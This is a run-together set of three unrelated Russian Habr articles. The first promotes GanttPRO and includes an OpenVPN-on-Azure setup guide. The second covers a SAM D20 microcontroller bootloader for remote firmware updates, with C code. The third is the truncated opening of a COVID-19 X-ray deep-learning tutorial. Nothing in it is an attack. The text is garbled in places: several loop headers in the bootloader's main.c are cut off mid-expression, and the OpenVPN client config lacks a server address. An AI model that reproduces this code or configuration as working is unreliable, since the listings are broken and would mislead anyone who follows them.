Отдельная благодарность [Григорию](https://habr.com/users/PhoenixMSTU/) за идею и первую реализацию. | https://habr.com/ru/post/436364/ | null | ru | null |
# OpenVPN в Microsoft Azure для виртуального объединения подписок. Опыт GanttPRO — сервиса для управления проектами
Привет! Сегодня мы расскажем о GanttPRO – онлайн-диаграмме Гантта для планирования, создания и управления проектами. Для своей работы команда сервиса в рамках гранта BizSpark использует инфраструктуру Microsoft Azure. У BizSpark есть особенность — когда компания вступает в программу, она получает до 8 аккаунтов Azure. Ежемесячно каждый из аккаунтов может потребить до $150. Часто этого достаточно, иногда — не хватает, особенно в случае с виртуальными машинами.
В этой статье команда GanttPRO расскажет не только о конкретных действиях, которые позволят объединить виртуальные машины в разных подписках, но и о проекте в целом. Конечно, если вы опытный администратор или разработчик, вы сможете потратить время и разобраться. Однако — потратить время.
А начнём с теории и мотивации проекта. Если вы системный администратор, разработчик, работающий с opensource решениями в облаке Azure, или же менеджер проекта, эта статья будет полезна и для вас.
В управлении проектами сложно быть успешными без наглядного иллюстрирования графика или плана. Когда у менеджера все задачи, процессы и участники визуализированы и отображены в удобном виде, управлять проектом значительно проще.
По сути, изобретать легкий способ визуализации проекта не нужно благодаря находке американского инженера [Генри Гантта](https://ru.wikipedia.org/wiki/%D0%93%D0%B0%D0%BD%D1%82%D1%82,_%D0%93%D0%B5%D0%BD%D1%80%D0%B8_%D0%9B%D0%BE%D1%83%D1%80%D0%B5%D0%BD%D1%81), который более 100 лет назад предложил удобный принцип представления длительности и последовательности задач. Речь о диаграмме Гантта.
Это столбчатая диаграмма, состоящая из полос, которые и являются задачами. У каждой полосы есть начальная и конечная точки. Т.е. это те моменты, где задача начинается и заканчивается. Соответственно, протяженность полосы – продолжительность задачи. Все полосы ориентированы вдоль временной оси.
В теории и практике управления проектами эта диаграмма уже давно является стандартом. Неудивительно, что большинство софта, предназначенного для применения в этой сфере, также ее использует.
[Онлайн-диаграмма Гантта GanttPRO](https://ganttpro.com/ru/) также строится на ней. Интерфейс похож c Google Docs, как внешне, так и в простоте использования, как если бы вы в Google Docs внезапно решили начать управлять проектами и работать с командой. Однако Google пока не предоставляет подобного решения.
Просто постановка задач и контроль над их выполнением – это базовые функции диаграммы. На деле же управление требует много других полезных фич для простоты, наглядности и удобства. Например: задачи редко носят обособленный характер. Как правило, часть из них взаимосвязана. Значит, в инструменте должна быть функция «Установить зависимость».
Или еще пример. Менеджеру нужно, чтобы проект всегда был под рукой для его обсуждения с участниками или включения в презентацию. Значит, без функции «Экспорт» не обойтись. Поэтому классические функции диаграммы Гантта в GanttPRO значительно расширены. Здесь пользователь может не только создавать задачи и распределять их, но и выставлять зависимости между ними, следить за прогрессом каждой отдельной задачи и проекта в целом, создавать вехи и определять критический путь.
Приложение дает много возможностей для [управления командой проекта](https://ganttpro.com/ru/teamwork/). Здесь можно делиться проектом, импортировать/экспортировать его из/в популярные форматы, оставлять комментарии под задачами и прикреплять файлы, и многое другое.
Также здесь есть **автоматическое планирование**. Функция позволяет избежать многочасовой монотонной работы. Сервис автоматически на основе связей рассчитывает порядок задач, длительность и прогресс групп задач и проекта в целом, подсказывает, когда проект завершится и какие этапы опасны из-за потенциального возникновения задержек.
**Почему было принято решение создать GanttPRO**
Разработчики после анализа рынка осознали, что не могут найти инструмент, который бы их устраивал. Некоторые из них неудобны с точки зрения интерфейса, другие не обладают полезным функционалом. В общем, они поставили цель создать сервис, который будет и удобен, и прост, и богат интересными и полезными возможностями, и в котором будет использоваться проверенный способ визуализации, т.е. диаграмма Гантта.
Сервисом уже пользуется свыше 190 000 пользователей, которые создали более 210 000 проектов по всему миру. Его посчитали полезным и удобным для project management как где-то далеко в США, Канаде, Британии, Австралии и Германии, так и уже в управлении проектами где-то рядом в России, Беларуси и Украине.
Сфера применения диаграммы Гантта обширна: это разработка ПО, строительство, продажи, производство, и т.д. Однако если есть необходимость просто распланировать свой график и дела, не проблема: онлайн диаграмма поможет в управлении любым личным проектом, будь то [подготовка к экзаменам](https://habrahabr.ru/post/320706/) или расписание дел на месяц.
**Что сделано в GanttPRO и чего ждать в будущем**
Совсем недавно в сервисе появились новые функции: [история изменений](https://blog.ganttpro.com/ru/sovety-po-ehffektivnojj-rabote-s-neskolkimi-multi-proektami-odnovremenno/), отмена действия и восстановление прежней версии. Это очень удобные фичи, которых раньше определенно не хватало. С ними у менеджера еще больше возможностей взаимодействовать с командой и управлять проектом в целом.
Новые функции дают возможность просматривать всю историю изменений в проекте, поскольку все данные хранятся в облаке. А еще, если что-то пошло не так, можно с легкостью отменить любое действие и восстановить проект до того момента, как оно было совершено. Все полностью под контролем менеджера.
В ближайшее время готовится релиз, в котором будет много интересных и полезных фишек. Особенно это касается командной работы. Пользователи смогут задавать собственные настройки отображения инструмента при совместной работе, видеть, сколько человек и кто именно работает над проектом онлайн, менять масштаб в истории для просмотра проекта, применять в ней новые фильтры и многое другое.
Почему в GanttPRO пользуются облачным сервисом Microsoft Azure:
* Быстрая настройка в течение нескольких минут;
* Стабильная производительность;
* Возможность быстро масштабироваться;
* Высокий уровень безопасности — все пароли и другая информация шифруются;
* Функция обнаружения угроз;
* Собственное виртуальное пространство.
Так сложилось, что разработчики в продакшене используют linux-машины. Так им привычнее и удобнее. Оставался вопрос, как поднять VPN сеть между ними в инфраструктуре Azure.
После пары неудачных попыток и нескольких советов от специалистов Microsoft команда пришла к решению, с которым успешно работает уже более года. И она делится с вами инструкцией о том, как все настроить:
**Создаем VM для VPN gateway**
В «portal.azure.com» выбираем “+New” → «Virtual machines» → «Ubuntu Server 14.04 LTS» → «Create»
**Configure basic settings**
«Name» — openvpn-gateway
«User name» — ubuntu-admin
Выбираем пункт «SSH public key»
Копируем «SSH public key»
«Resource group» — newgroup
«Location» — North Europe
→ OK
**Size**
«Choose virtual machine size» — A1 Standard
→ Select
**Configure optional features**
«Disk type» — Standard
«Public IP address» — Create new → Static
«Network security group» → Create new → Создаем новую группу и добавляем правила доступа для 1194 UDP Any
→ OK → OK
Ждем, пока создается виртуальная машина. В свойствах виртуальной машины можно посмотреть полученный IP.
Подключаемся к только что созданной виртуальной машине.
Для установки и настройки программ залогинимся под root при помощи sudo
```
$ sudo -i
```
Обновить список пакетов в репозитории
```
# apt-get update
```
Установка необходимых пакетов и настройка
```
# apt-get install openvpn easy-rsa
# mkdir /etc/openvpn/easy-rsa
# cp -r /usr/share/easy-rsa /etc/openvpn/easy-rsa
# mv /etc/openvpn/easy-rsa/easy-rsa /etc/openvpn/easy-rsa/2.0
```
Генерация ключей сервера
```
# cd /etc/openvpn/easy-rsa/2.0
# cp openssl-1.0.0.cnf openssl.cnf
# source ./vars
# ./clean-all
# ./build-ca
Отвечаем на вопросы интерактивного меню.
```
```
# ./build-key-server <название ключа> (в данном примере openvpn-gateway)
```
Отвечаем на вопросы интерактивного меню
```
# ./build-dh
```
Копируем ключи
```
# cp -r /etc/openvpn/easy-rsa/2.0/keys/ /etc/openvpn/
```
Пишем файл конфига для сервера /etc/openvpn/server.conf следующего содержания:
```
port 1194
proto udp
dev tun
ca /etc/openvpn/keys/ca.crt
cert /etc/openvpn/keys/openvpn-gateway.crt
key /etc/openvpn/keys/openvpn-gateway.key
dh /etc/openvpn/keys/dh2048.pem
server 10.8.0.0 255.255.255.0 (подсеть и маска)
client-config-dir ccd
ifconfig-pool-persist ipp.txt
cipher BF-CBC
client-to-client
keepalive 10 60
comp-lzo
max-clients 20
user nobody
group nogroup
persist-key
persist-tun
status openvpn-status.log
log /var/log/openvpn.log
verb 3
mute 20
```
создаем папку сcd
```
# mkdir /etc/openvpn/ccd
```
Перезапускаем openvpn
```
# service openvpn restart
```
После перезапуска у сервера должен появиться сетевой интерфейс tun0 с ip 10.8.0.1
Сервер готов.
**Настройка клиентов**
На сервере генерируем ключ для клиента
```
# cd /etc/openvpn/easy-rsa/2.0
# source vars
# ./build-key-pkcs12 <имя клиента>
```
Отвечаем на вопросы интерактивного меню. На клиента нужно установить пакет openvpn.
```
# apt-get install openvpn
```
Скопировать сгенерированный на сервер файл <имя клиента>.p12 в папку /etc/openvpn
Написать файл конфига для /etc/openvpn/openvpn-gateway.conf следующего содержания:
```
dev tun
proto udp
remote 1194
client
resolv-retry infinite
pkcs12 <имя клиента>.p12
ns-cert-type server
comp-lzo yes
persist-key
persist-tun
status openvpn-status.log
log /var/log/openvpn.log
verb 3
keepalive 10 60
```
Перезапускаем сервис.
```
# service openvpn restart
```
После перезапуска у клиента должен появиться сетевой интерфейс tun0 с ip 10.8.0.х по ip 10.8.0.1 должен отвечать наш сервер.
Работать в [GanttPRO](https://ganttpro.com/) с Microsoft Azure удобно. Microsoft Azure дает нам возможность быстро масштабироваться и не волноваться за сохранность данных. При этом выбор стека технологий остается за нами ;)
Спасибо! | https://habr.com/ru/post/329348/ | null | ru | null |
# Удаленное обновление прошивки микроконтроллера
В одной из прошлых статей мы писали про [USB bootloader](http://geektimes.ru/company/rainbow/blog/261006/) на микроконтроллере SAM D21 с ядром Cortex M0+. Использование флешки для обновления прошивки очень удобно, но подходит не для всех случаев. Например, если доступ к устройству ограничен или проблематичен, а связь с ним устанавливается удаленно. В подобных случаях, к разработке бутлоадера следует отнестись с особой тщательностью. Иначе, в случае ошибки высока вероятность получить «кирпич» и огромное число проблем себе на голову. Примером такого труднодоступного устройства может быть управляющая плата «умного» архитектурного светильника, висящего на фасаде здания на 7-м этаже.
#### Постановка задачи
В проекте, который лег в основу данной статьи, связь с удаленным устройством осуществляется по силовым проводам в соответствии со стандартом [G3 PLC](http://www.g3-plc.com/content/g3-plc-overview) (Power Line Communication). На первый взгляд способ связи не должен иметь значения, т.к. для микроконтроллера он все равно сводится к обмену по UART/I2C/SPI. Однако, например, в нашем случае это накладывает ограничение в виде невозможности online обновления прошивки (когда бутлоадер устанавливает связь с сервером для получения новой прошивки), т.к. работа с PLC-модемом ресурсоемкая задача и размеров bootloader секции не хватает.
**Таким образом, были сформированы следующие требования :**
* Процесс обновления происходит offline. Т.е. файл прошивки предварительно частями передается на целевое устройство и сохраняется во внешнюю flash-память. Запуск процесса обновления производится отдельной командой.
* Управлением удаленным устройством и передачей файла с новой прошивкой занимается головное устройство (шлюз). Описание этих процессов в данной статье не рассматривается.
* Для обмена информацией между application и bootloader секциями используется внешняя EEPROM. Например, для старта процесса обновления, application записывает в EEPROM соответствующий флаг и передает управление bootloader секции.
* Перед обновлением обязательна проверка контрольной суммы прошивки, находящейся во внешней flash. В противном случае обновление не запускается, а управление возвращается application секции.
* Первым всегда стартует bootloader. Помимо проверки команд в EEPROM, bootloader каждый раз перед передачей управления application секции проверяет корректность текущей прошивки во flash памяти контроллера с помощью CRC. CRC — хранится в виде последних двух байт флеша.
В статье про [USB bootloader](http://geektimes.ru/company/rainbow/blog/261006/) дана краткая теория по организации памяти семейств SAM D20/D21, и дублировать ее тут мы не будем. В качестве целевого микроконтроллера используется [ATSAMD20G16](http://light.rtcs.ru/eshop/catalog/detail.php?ID=433645). Проект будем собирать в IAR используя [ASF](http://geektimes.ru/company/rainbow/blog/260938/) (Atmel Software Framework).
#### Алгоритмы работы
Работа устройства всегда начинается с бутлоадера, затем в зависимости от команды в EEPROM, либо происходит обновление прошивки, либо просто проверяется корректность crc текущей прошивки. По окончании работы бутлоадера при отсутствии ошибок осуществляется переход в application:
```
#define APP_START_ADDRESS 0x00004000
// brief Function for starting application
// This function will configure the WDT module and enable it. The LED is
// kept toggling till WDT reset occurs.
static void start_application(void)
{
// Pointer to the Application Section
void (*application_code_entry)(void);
// Rebase the Stack Pointer
__set_MSP(*(uint32_t *) APP_START_ADDRESS);
// Rebase the vector table base address
SCB->VTOR = ((uint32_t) APP_START_ADDRESS & SCB_VTOR_TBLOFF_Msk);
// Load the Reset Handler address of the application
application_code_entry = (void (*)(void))(unsigned *)(*(unsigned *)(APP_START_ADDRESS + 4));
// Jump to user Reset Handler in the application
application_code_entry();
}
```
Общий алгоритм работы bootloader представлен на рисунке ниже:
Проверка CRC своей прошивки выполняется при каждом запуске микроконтроллера, чтобы избежать некорректной работы в случае повреждения основного кода. Что делать, если расчетное CRC не совпадает со считанным, решается в каждом конкретном приложении индивидуально. Можно бесконечно мигать красным светодиодом, можно залить резервную прошивку (тогда нужно предусмотреть место, где ее хранить).
Общий алгоритм работы application представлен на рисунке ниже. Здесь представлено только то, что непосредственно касается обновления прошивки.
#### Настройки проекта для application
Для реализации задуманного в проекте с application необходимо выполнить следующее:
* считать средствами IAR контрольную сумму прошивки (CRC) и подставлять результат в виде последних двух байт получаемого бинарника
* размещать application не с нулевого адреса памяти микроконтроллера, для того, чтобы оставить «место» для бутлоадера.
Делается это в настройках проекта.
##### Подсчет CRC
Таким настройкам соответствует полином 0x1021, при этом не надо забывать менять байты местами при подсчете с помощью кода, а также о том, что CRC средствами IAR считается по всей памяти, а не только по заполненной кодом. После подсчета CRC по содержимому всей памяти application в конце необходимо перевернуть результат путем «добавления» к контрольной сумме еще 2 нулевых байт (см. [EWARM\_DevelopmentGuide.ENU](http://ftp.iar.se/WWWfiles/arm/webic/doc/EWARM_DevelopmentGuide.ENU.pdf)).
Код проверки CRC:
```
void TestChecksum()
{
unsigned short calc = 0;
unsigned char zeros[2] = {0, 0};
/* Run the checksum algorithm */
calc = slow_crc16(0, (unsigned char *) ChecksumStart,(ChecksumEnd - ChecksumStart+1));
/* Rotate out the answer */
calc = slow_crc16(calc, zeros, 2);
/* Test the checksum */
if (calc != checksum)
{
abort(); /* Failure */
}
}
unsigned short slow_crc16(unsigned short sum, unsigned char *p, unsigned int len)
{
while (len--)
{
int i;
unsigned char byte = *(p++);
for (i = 0; i < 8; ++i)
{
unsigned long oSum = sum;
sum <<= 1;
if (byte & 0x80)
sum |= 1;
if (oSum & 0x8000)
sum ^= 0x1021;
byte <<= 1;
}
}
return sum;
}
```
##### Настройки расположения кода для application
Указываем начало памяти и адрес таблицы векторов прерывания:
#### Код
Для работы нам понадобятся следующие модули ASF/МК:
* NVM (контроллер энергонезависимой памяти),
* SERCOM SPI (для общения со внешней flash памятью),
* SERCOM I2C (для общения с внешней EEPROM памятью),
Кроме инициализации и настройки всех модулей необходимо обеспечить логику работы.
**Полный код main.c**#include
#include «twi\_driver.h»
#include «MCP7941x.h»
#include «at45db041d.h»
#include «init.h»
#include «utils.h»
//-----------------------------------------------------------------------------
//---------------глобальные переменные-----------------------------------------
//---------структуры экземпляров периферии-------------------------------------
extern struct spi\_module spi\_master\_instance;
extern struct spi\_slave\_inst slave;
extern struct tc\_module tc\_instance\_tc2;
extern struct i2c\_master\_module i2c\_master\_instance;
//------------------------периферия--------------------------------------------
//------------------------------i2c--------------------------------------------
unsigned char twi\_out\_data[9];
unsigned char twi\_in\_data[8];
//----------------------------SPI----------------------------------------------
extern unsigned char spi\_in\_data[ext\_flash\_page\_size];
extern unsigned char spi\_out\_data[ext\_flash\_page\_size];
unsigned char temp\_buffer\_write[ext\_flash\_page\_size];
unsigned long rtc\_cnt;
//-------------------counters for cycles---------------------------------------
unsigned int i,m;
unsigned char led\_cnt;
//------------------------ работа с прошивкой----------------------------------
unsigned int page\_addr;
unsigned int CRC;
unsigned int CRC\_read;
unsigned char zero[2]={0,0};
unsigned int last\_page\_length;
unsigned int page\_num;
unsigned int byte\_amount;
unsigned int last\_page\_number;
const uint8\_t flash\_data[256];
//-----------------------------------------------------------------------------
//-------------------init----------------------------------------------------
void MC\_init(void)
{
struct nvm\_config config;
system\_init();
SystemClock\_Init();
configure\_tc2();
configure\_pins();
configure\_spi\_master();
configure\_i2c\_master();
nvm\_get\_config\_defaults(&config);
nvm\_set\_config(&config);
}
void init\_variables(void)
{
//------------------------------i2c--------------------------------------------
clear\_twi\_in\_buffer();
clear\_twi\_out\_buffer();
//----------------------------SPI----------------------------------------------
for(i=0;i
rtc\_cnt=0;
//-------------------counters for cycles---------------------------------------
led\_cnt=0;
//------------------------ other-----------------------------------------------
last\_page\_number=0;
}
void external\_init(void)
{
unsigned char temp;
//----------------external eeprom---------------------
//проверяем, что память не защищена от записи
clear\_twi\_in\_buffer();
twi\_read\_bytes(twi\_in\_data, 1, EEPROM\_ADR, 0xff);
if(twi\_in\_data[0]!=0)
{
clear\_twi\_out\_buffer();
twi\_out\_data[0]=0xff;
twi\_out\_data[1]=0;
twi\_write\_bytes(twi\_out\_data, 2, EEPROM\_ADR, EEPROM\_OWN\_METERS\_1\_STATUS);
}
//----------------FLASH-------------------------------
// проверяем размер страницы внешней flash
temp=flash\_wait(spi\_delay);
// если 264, то устанавливаем 256
if((temp&0x01)!=0x01) set\_page\_size\_256();
temp=0;
}
// brief Function for programming data to Flash
// This function will check whether the data is greater than Flash page size.
// If it is greater, it splits and writes pagewise.
// param address address of the Flash page to be programmed
// param buffer pointer to the buffer containing data to be programmed
// param len length of the data to be programmed to Flash in bytes
static void program\_memory(uint32\_t address, uint8\_t \*buffer, uint16\_t len)
{
// Check if length is greater than Flash page size
if (len > NVMCTRL\_PAGE\_SIZE)
{
uint32\_t offset = 0;
while (len > NVMCTRL\_PAGE\_SIZE)
{
// Check if it is first page of a row
if ((address & 0xFF) == 0)
{
//Erase row
nvm\_erase\_row(address);
}
// Write one page data to flash
nvm\_write\_buffer(address, buffer + offset, NVMCTRL\_PAGE\_SIZE);
// Increment the address to be programmed
address += NVMCTRL\_PAGE\_SIZE;
// Increment the offset of the buffer containing data
offset += NVMCTRL\_PAGE\_SIZE;
// Decrement the length
len -= NVMCTRL\_PAGE\_SIZE;
}
//Check if there is data remaining to be programmed
if (len > 0)
{
// Write the data to flash
nvm\_write\_buffer(address, buffer + offset, len);
}
}
else
{
// Check if it is first page of a row)
if ((address & 0xFF) == 0)
{
// Erase row
nvm\_erase\_row(address);
}
// Write the data to flash
nvm\_write\_buffer(address, buffer, len);
}
}
// brief Function for starting application
// This function will configure the WDT module and enable it. The LED is
// kept toggling till WDT reset occurs.
static void start\_application(void)
{
// Pointer to the Application Section
void (\*application\_code\_entry)(void);
// Rebase the Stack Pointer
\_\_set\_MSP(\*(uint32\_t \*) APP\_START\_ADDRESS);
// Rebase the vector table base address
SCB->VTOR = ((uint32\_t) APP\_START\_ADDRESS & SCB\_VTOR\_TBLOFF\_Msk);
// Load the Reset Handler address of the application
application\_code\_entry = (void (\*)(void))(unsigned \*)(\*(unsigned \*)(APP\_START\_ADDRESS + 4));
// Jump to user Reset Handler in the application
application\_code\_entry();
}
unsigned int slow\_crc16(unsigned short sum, unsigned char \*p,unsigned int len)
{
while (len--)
{
int i;
unsigned char byte = \*(p++);
for (i = 0; i < 8; ++i)
{
unsigned long osum = sum;
sum <<= 1;
if (byte & 0x80)
sum |= 1;
if (osum & 0x8000)
sum ^= 0x1021;
byte <<= 1;
}
}
return sum;
}
void MC\_reset(void)
{
tc\_reset(&tc\_instance\_tc2);
i2c\_master\_reset(&i2c\_master\_instance);
spi\_reset(&spi\_master\_instance);
}
//------------------------!!!!!!MAIN!!!!!!-------------------------------------
int main(void)
{
unsigned int temp;
unsigned int j;
unsigned char k;
init\_variables();
MC\_init();
for(i=0;i<20;i++)
{
LED\_2\_TOGGLE();
delay\_ms(100);
}
system\_interrupt\_enable\_global();
external\_init();
//------------проверяем, есть ли команда на upgrade-------------------------
for(i=0;i<8;i++) twi\_in\_data[i]=0;
// считываем upgrade из внешней EEPROM
twi\_read\_bytes(twi\_in\_data,4, EEPROM\_ADR,EEPROM\_UPGRADE);
// команда на апгрейд
if(twi\_in\_data[0]==0x55)
{
for(i=0;i<20;i++)
{
LED\_1\_TOGGLE();
delay\_ms(100);
}
// определяем длину прошивки и положение crc в ней
// так как мы передаем по PLC всю память, а не только код
// пока не придумала, как передавать только код
for(page\_addr=2; page\_addr<194; page\_addr++)
{
//читаем страницу
continuous\_low\_freq\_read(spi\_in\_data, page\_addr,0,ext\_flash\_page\_size);
temp=0;
for(j=0;j
{
if(spi\_in\_data[j]==0xff)
{
temp++;
}
else temp=0;
}
//первая пустая страница
if(temp==ext\_flash\_page\_size)
{
//читаем предыдущую страницу
page\_addr--;
continuous\_low\_freq\_read(spi\_in\_data, page\_addr,0,ext\_flash\_page\_size);
last\_page\_number=page\_addr;
//анализируем последнюю страницу с кодом с конца
//если последний байт не ff, то это CRC
if(spi\_in\_data[ext\_flash\_page\_size-1]!=0xff)
{
CRC\_read=spi\_in\_data[ext\_flash\_page\_size-2];
CRC\_read<<=8;
CRC\_read|=spi\_in\_data[ext\_flash\_page\_size-1];
}
//если последний байц ff, то ищем место crc
else
{
i=ext\_flash\_page\_size-1;
while((spi\_in\_data[i]==0xff)&&(i>0))
{
i--;
}
CRC\_read=spi\_in\_data[i];
CRC\_read<<=8;
CRC\_read|=spi\_in\_data[i-1];
// это уже положение последнего байта crc
last\_page\_length=i+1;
break;
}
}
}
}
//-------------- проверяем CRC текущей прошивки-----------------------------
else
{
k=0;
CRC=0;
CRC\_read=0xffff;
// если не сходится, будем пытаться 5 раз
// если не сойдется, то мигаем красным светодиодом до посинения)
while((CRC!=CRC\_read)&&(k<5))
{
k++;
CRC=0;
CRC\_read=0;
// определяем длину прошивки и положение crc в ней
for(page\_addr=0x4000; page\_addr<0x10000 ;page\_addr+=NVMCTRL\_PAGE\_SIZE)
{
//читаем страницу
nvm\_read\_buffer(page\_addr,spi\_in\_data,NVMCTRL\_PAGE\_SIZE);
temp=0;
for(j=0;j<64;j++)
{
if(spi\_in\_data[j]==0xff)
{
temp++;
}
else temp=0;
}
//первая пустая страница
if(temp==NVMCTRL\_PAGE\_SIZE)
{
//читаем предыдущую страницу
page\_addr-=NVMCTRL\_PAGE\_SIZE;
nvm\_read\_buffer(page\_addr,spi\_in\_data,NVMCTRL\_PAGE\_SIZE);
last\_page\_number=page\_addr;
//анализируем последнюю страницу с кодом с конца
//если последний байт не ff, то это CRC
if(spi\_in\_data[NVMCTRL\_PAGE\_SIZE-1]!=0xff)
{
CRC\_read=spi\_in\_data[NVMCTRL\_PAGE\_SIZE-2];
CRC\_read<<=8;
CRC\_read|=spi\_in\_data[NVMCTRL\_PAGE\_SIZE-1];
}
//если последний байц ff, то ищем место crc
else
{
i=NVMCTRL\_PAGE\_SIZE-1;
while((spi\_in\_data[i]==0xff)&&(i>0))
{
i--;
}
CRC\_read=spi\_in\_data[i];
CRC\_read<<=8;
CRC\_read|=spi\_in\_data[i-1];
// это уже положение последнего байта crc
last\_page\_length=i+1;
break;
}
}
}
// непосредственно считаем crc
for(page\_addr=0x4000; page\_addr
{
//читаем страницу
nvm\_read\_buffer(page\_addr,spi\_in\_data,NVMCTRL\_PAGE\_SIZE);
temp=0;
//меняем местами соседние байты в считанном
for(j=0;j
{
temp=spi\_in\_data[j];
spi\_in\_data[j]=spi\_in\_data[j+1];
spi\_in\_data[j+1]=temp;
}
if(page\_addr==last\_page\_number)
{
// считаем отдельно crc части страницы до CRC линкера
CRC=slow\_crc16(CRC,spi\_in\_data, last\_page\_length-2);
// и после CRC линкера
temp=NVMCTRL\_PAGE\_SIZE-last\_page\_length;
CRC=slow\_crc16(CRC,&(spi\_in\_data[last\_page\_length]), temp);
}
//если на всей странице код
else
{
CRC=slow\_crc16(CRC,spi\_in\_data,NVMCTRL\_PAGE\_SIZE);
}
}
for(i=0;i
while(page\_addr<0x10000)
{
CRC=slow\_crc16(CRC,spi\_in\_data,NVMCTRL\_PAGE\_SIZE);
page\_addr+=NVMCTRL\_PAGE\_SIZE;
}
CRC=slow\_crc16(CRC,zero,2);
}// end o fwhile((CRC!=CRC\_read)&&(k<5))
// если crc не сошлось
if(CRC!=CRC\_read)
{
while(1)
{
LED\_1\_TOGGLE();
delay\_ms(500);
}
}
//если CRC сошлось
else
{
MC\_reset();
start\_application();
}
}
CRC=0;
////////////////////////////////////////////////////////////////////////////////
//------------------------------MAIN PROGRAM-----------------------------------
////////////////////////////////////////////////////////////////////////////////
while(1)
{
//считываем страницы для проверки CRC
for(page\_addr=2; page\_addr
{
//читаем страницу
continuous\_low\_freq\_read(spi\_in\_data, page\_addr,0,ext\_flash\_page\_size);
temp=0;
//меняем местами соседние байты в считанном
for(j=0;j
{
temp=spi\_in\_data[j];
spi\_in\_data[j]=spi\_in\_data[j+1];
spi\_in\_data[j+1]=temp;
}
if(page\_addr==last\_page\_number)
{
// считаем отдельно crc части страницы до CRC линкера
CRC=slow\_crc16(CRC,spi\_in\_data, last\_page\_length-2);
// и после CRC линкера
temp=ext\_flash\_page\_size-last\_page\_length;
CRC=slow\_crc16(CRC,&(spi\_in\_data[last\_page\_length]), temp);
}
//если на всей странице код
else
{
CRC=slow\_crc16(CRC,spi\_in\_data,ext\_flash\_page\_size);
}
}
//переводим адрес в байты из номеров страниц внешней флеш
page\_addr<<=8;
for(i=0;i
while(page\_addr<0xc200)
{
CRC=slow\_crc16(CRC,spi\_in\_data,NVMCTRL\_PAGE\_SIZE);
page\_addr+=NVMCTRL\_PAGE\_SIZE;
}
CRC=slow\_crc16(CRC,zero,2);
// если CRC совпало
// считываем еще раз и записываем в свою flash
// иначе переходим в application с каким-нибудь флагом
// для отката прошивки CRC не считаем: не знаем ее размер и место CRC
// но по умолчанию они обе равны 0
if(CRC==CRC\_read)
{
page\_addr=0x4000;
for(i=0; i<15; i++)
{
// стираем и записываем новую прошивку
continuous\_low\_freq\_read(spi\_in\_data,i,0,NVMCTRL\_PAGE\_SIZE);
program\_memory(page\_addr, spi\_in\_data, 256);
page\_addr+=256;
delay\_ms(10);
}
twi\_out\_data[0]=EEPROM\_FW\_RESULT;
twi\_out\_data[1]=0xda;
twi\_write\_bytes(twi\_out\_data,2, EEPROM\_ADR,EEPROM\_FW\_RESULT);
}
else
{
twi\_out\_data[0]=EEPROM\_FW\_RESULT;
twi\_out\_data[1]=0xad;
twi\_write\_bytes(twi\_out\_data,2, EEPROM\_ADR, EEPROM\_FW\_RESULT);
}
// стираем только команду на перепрошивку
// параметры прошивки не стираем
delay\_ms(100);
twi\_out\_data[0]=EEPROM\_UPGRADE;
twi\_out\_data[1]=0xff;
twi\_write\_bytes(twi\_out\_data,2, EEPROM\_ADR, EEPROM\_UPGRADE);
delay\_ms(100);
for(j=2;j<2048;j++)
{
//стираем всю флеш, кроме первых двух страниц, в которых адреса забинденных
erase\_page(j);
temp=flash\_wait(spi\_delay);
temp=0;
}
for(i=0;i<20;i++)
{
LED\_1\_TOGGLE();
delay\_ms(300);
}
MC\_reset();
start\_application();
}// end of while(1)
}// end of main | https://habr.com/ru/post/275381/ | null | ru | null |
# Определяем COVID-19 на рентгеновских снимках с помощью Keras, TensorFlow и глубокого обучения
С помощью этого руководства мы с помощью Keras, TensorFlow и глубокого обучения научимся на собранном вручную датасете из рентгеновских снимков автоматически определять COVID-19.
Как и многие другие, я искренне беспокоюсь относительно COVID-19. Я заметил, что постоянно анализирую своё состояние и гадаю, подхвачу ли болезнь и когда это произойдёт. И чем больше я об этом беспокоюсь, тем больше это превращается в болезненную игру разума, в которой симптоматика сочетается с ипохондрией:
* Я проснулся утром, чувствуя некоторую болезненность и слабость.
* Когда я выполз из кровати, то обнаружил у себя насморк (хотя [уже известно](https://www.webmd.com/lung/news/20200310/know-the-symptoms-of-covid19), что насморк **не** является симптомом COVID-19).
* К тому времени, как я добрёл до ванной, чтобы взять бумажный платок, я уже кашлял.
Сначала я не обращал на это особого внимания — у меня аллергия на пыльцу, а из-за тёплой погоды на восточном побережье США весна в этом году выдалась ранняя. Скорее всего, это аллергические симптомы. Но в течение дня моё состояние не улучшалось. Я сижу и пишу это руководство с градусником во рту. Смотрю вниз и вижу 37,4 °С. Моя нормальная температура тела чуть ниже, чем у других, на уровне 36,3 °С. Всё, что выше 37,2 °С, для меня уже небольшой жар.
Кашель и небольшой жар? Это может быть COVID-19… или просто моя аллергия. **Выяснить без тестирования невозможно, и именно это «незнание» делает ситуацию столь пугающей на человеческом уровне.**
> ### Минутка заботы от НЛО
>
>
>
> В мире официально объявлена пандемия COVID-19 — потенциально тяжёлой острой респираторной инфекции, вызываемой коронавирусом SARS-CoV-2 (2019-nCoV). На Хабре много информации по этой теме — всегда помните о том, что она может быть как достоверной/полезной, так и наоборот.
>
>
>
> #### Мы призываем вас критично относиться к любой публикуемой информации
>
>
>
> **Официальные источники*** [Cайт Министерства здравоохранения РФ](https://covid19.rosminzdrav.ru/)
> * [Cайт Роспотребнадзора](https://www.rospotrebnadzor.ru/about/info/news_time/news_details.php?ELEMENT_ID=13566)
> * [Сайт ВОЗ (англ)](https://www.who.int/emergencies/diseases/novel-coronavirus-2019)
> * [Сайт ВОЗ](https://www.who.int/ru/emergencies/diseases/novel-coronavirus-2019)
> * Сайты и официальные группы оперативных штабов в регионах
>
>
>
> Если вы проживаете не в России, обратитесь к аналогичным сайтам вашей страны.
>
> Мойте руки, берегите близких, по возможности оставайтесь дома и работайте удалённо.
>
>
>
> Читать публикации про: [коронавирус](https://habr.com/ru/search/?target_type=posts&q=%5B%D0%BA%D0%BE%D1%80%D0%BE%D0%BD%D0%B0%D0%B2%D0%B8%D1%80%D1%83%D1%81%5D&order_by=date) | [удалённую работу](https://habr.com/ru/search/?target_type=posts&q=%5B%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F%20%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%5D&order_by=date)
Несмотря на мои страхи, я пытаюсь мыслить рационально. Мне немного за 30, я в прекрасной форме, а мой иммунитет силён. Посажу себя на карантин (на всякий случай), отдохну и со всем справлюсь. COVID-19 не пугает меня с точки зрения *личного* здоровья (по крайней мере, я себе это твержу).
Итак, я беспокоюсь о своих пожилых родственниках, включая всех, у кого уже выявлено заболевание, а также тех, кто находится в домах престарелых и больницах. Эти люди уязвимы, и будет ужасно, если они умрут из-за COVID-19.
